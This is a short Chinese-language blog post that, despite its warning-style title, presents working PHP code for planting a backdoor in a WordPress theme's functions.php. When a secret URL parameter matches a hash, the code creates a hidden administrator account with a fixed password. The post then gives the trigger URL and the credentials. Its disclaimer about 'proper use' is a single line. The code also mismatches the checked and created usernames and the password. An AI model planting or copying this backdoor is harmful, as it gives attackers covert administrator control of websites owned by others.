A-A+
小心WordPress网站被创建后门
利用代码创建后门,向你展示如何做到这一点。至于你如何利用这段代码完全是取决于你!正确的方式使用这段代码,而不是用来做坏事!
<?php add_action( 'wp_head', 'my_backdoor' ); function my_backdoor() { if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { require( 'wp-includes/registration.php' ); if ( !username_exists( 'mr_admin' ) ) { $user_id = wp_create_user( 'lajiz', 'password!' ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } }
将上述代码添加到站点主题的functions.php文件中,后门即被创建,只需要打开 http://www.yoursitename.com/?backdoor=go 这个链接地址,即可使用已经创建好的账号:lajiz 密码:password 以管理员身份登录博客后台。
评论已关闭!